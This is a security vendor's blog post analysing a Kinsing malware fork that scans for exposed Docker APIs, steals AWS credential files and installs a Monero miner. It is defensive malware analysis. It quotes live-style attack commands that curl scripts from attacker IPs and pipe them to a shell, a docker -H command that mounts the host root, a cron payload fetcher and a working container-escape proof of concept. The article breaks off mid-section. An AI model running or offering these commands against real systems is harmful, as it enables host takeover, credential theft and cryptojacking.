Services & supportCareersSign in
AlgoSec
Back to home
Horizon
Horizon
Horizon Platform
Explore our
Platforms modules
Horizon ACE
Transform your cloud network security
Horizon FireFlow
Automated security policy management
Horizon ObjectFlow
Smart automation for policy changes
Horizon AppViz
Discover, visualize and secure applications
Horizon Security Analyzer
Visualize & manage hybrid networks
Algo Assistant
AI assistant for security policy tasks
Integrations
Microsoft Teams
Slack
AT&T
BMC
F5
Microsoft Azure
Google Cloud
HP
AWS
Cisco
Explore all integrations
Product utilities
AlgoSec security center

Money-back guarantee

AlgoSec alternatives

Solutions
Solutions

By use case

Change automation

Risk management

Cost reduction

Compliance

By industry

Security service providers

Finance

Insurance

Healthcare

Government

Telecommunications

Resources
Resources

Explore

Resource center

Central hub for all AlgoSec content

Algo-Library

In-depth research and technical insights

Case studies

Real customer stories & results

Blog

Articles, insights, and product updates

Watch & learn

Videos

Videos on network security

Product demos

See the platform in action

Webinars

Expert talks on security challenges

Partners
Partners

Our partner program

Become a partner

Join the AlgoSec Elevate Partner Program

Our partner ecosystem

Locate a partner

Find a partner in our global network

Technology partners

Integrations with leading technology vendors

Service partners

Work with certified experts for services and consulting

Company
Company

Company overview

About

Who we are and the value we bring

Leadership

The executives guiding AlgoSec

Careers

Open roles and life at AlgoSec

Contact us

Reach our global offices and teams

Events

Conferences and upcoming events

Media center

Company news and product updates

Company utilities

Our customers

AlgoSec professional services

AlgoSec resident engineer

Training services & certification

AlgoSec support programs

AlgoSec media kit

Sign inServices & supportCareers
Schedule a demo
Schedule a demo
Abstract network background
Home
Blog
Kinsing Punk: An epic escape from Docker containers

Kinsing Punk: An epic escape from Docker containers

Rony Moshkovich

Rony Moshkovich

August 22, 2020

|

7

minute read

Share
YouTubeLinkedIn

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads.

Today, it’s déjà vu all over again. Only in the world of Linux.

As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer.

In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating.

Let’s start from its simplest trick — the credentials grabber.

AWS Credentials Grabber

If you are using cloud services, chances are you may have used Amazon Web Services (AWS).

Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user.

You will then use those credentials to configure the AWS Command Line Interface (CLI) with the aws configure command.

From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically.

There is one little caveat, though.

AWS CLI stores your credentials in a clear text file called ~/.aws/credentials.

The documentation clearly explains that:

The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named.aws in your home directory.

That means, your cloud infrastructure is now as secure as your local computer.

It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit.

As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server.

Hosting

For hosting, the malware relies on other compromised hosts.

For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM, vulnerable to exploits.

The attackers have compromised this server, installed a webshell b374k, and then uploaded several malicious files on it, starting from 11 July 2020.

A server at 129[.]211[.]98[.]236, where the worm hosts its own body, is a vulnerable Docker host.

According to Shodan, this server currently hosts a malicious Docker container image system_docker, which is spun with the following parameters:

./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080

A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image:

chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’

Docker Lan Pwner

A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts.

To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan.

Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file.

Once configured and restarted, the daemon will expose port 2375 for remote clients:

$ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd

To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25, the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24. For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports:

Port NumberService NameDescription
2375dockerDocker REST API (plain text)
2376docker-sDocker REST API (ssl)
2377swarmRPC interface for Docker Swarm
4243dockerOld Docker REST API (plain text)
4244docker-basic-authAuthentication for old Docker REST API

The scan rate is set to 50,000 packets/second.

For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375, may produce an output similar to:

$ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25

From the output above, the malware selects a word at the 6th position, which is the detected IP address.

Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint.

For example, sending such request to a local instance of a Docker daemon results in the following response:

$ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25

Next, it applies grep utility to parse the contents returned by the banner grabber zgrab, making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner.

Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string.

With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim.

For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script:

docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …”

The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers.

We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon.

The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters:

  • –rm switch will cause Docker to automatically remove the container when it exits
  • -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt
  • chroot /mnt will change the root directory for the current running process into /mnt, which corresponds to the root directory / of the host
  • a malicious script to be downloaded and executed

Escaping from the Docker container

The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236”:

crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep

If it does not contain such string, the script will set up a new cron job with:

echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab –

The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute.

The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab.

This will effectively execute the scheduled task only once, with a one minute delay.

After that, the container image quits.

There are two important moments associated with this trick:

  • as the Docker container’s root directory was mapped to the host’s root directory /, any task scheduled inside the container will be automatically scheduled in the host’s root crontab
  • as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab, to be executed as root

Building PoC

To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory /.

echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab –

Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host:

docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash”

Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers:

$ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host?

If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host:

$ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1

A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host:

$ sudo crontab -l no crontab for root

This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host.

By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host!

Malicious script

Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions:

Rony Moshkovich

Rony Moshkovich

Rony Moshkovich, Director of Product for AlgoSec, has decades of practical research and engineering experience in the IT security industry. His background includes extensive management experience with an emphasis in software research and development, making him uniquely capable of guiding business requirements, and professional services for Enterprise, SMB, and consumer solutions.

Table of contents

Table of contents item

Ready to take control of your network security?

See how AlgoSec Horizon Platform can transform your security policy management – from chaos to control!

[Placeholder - Marketo will create the error message]
[Placeholder - Marketo will create the error message]
[Placeholder - Marketo will create the error message]
[Placeholder - Marketo will create the error message]
[Placeholder - Marketo will create the error message]
[Placeholder - Marketo will create the error message]
By submitting this form, I accept AlgoSec's privacy policy
[Placeholder - Marketo will create the error message]
Thank you!
AlgoSec
LinkedInYouTube
Trending topics
AlgoSec & CiscoMicro-segmentationCloud network securityCloud security complianceHIPAA network compliance
Essential tools
Integrations
Useful info
Contact usEnd user license agreementSaaS SLAEnvironmental strategyESG strategySecurity center

© 2004 – 2026 All rights reserved by AlgoSec

Privacy policyTerms of useCookie settings